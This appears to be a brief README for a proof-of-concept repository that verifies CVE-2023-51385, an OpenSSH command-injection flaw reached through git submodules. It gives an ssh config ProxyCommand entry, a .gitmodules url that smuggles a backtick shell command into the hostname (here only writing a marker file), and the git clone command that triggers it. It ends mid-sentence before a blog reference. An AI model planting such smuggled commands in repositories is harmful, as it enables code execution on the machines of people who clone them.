
一个验证对CVE-2023-51385
First, add the following content to ~/.ssh/config
host *.example.com
ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p
Command injection exists in the .gitmodules file statement
url = ssh://`echo helloworld > cve.txt`foo.example.com/bar
After configuration, execute the following command to trigger
git clone https://github.com/LtmThink/CVE-2023-51385_test --recurse-submodules
If successful, a cve.txt file will be generated in the CVE-2023-51385_test directory

Note: OpenSSH needs to be <9.6p1
See this blog for details: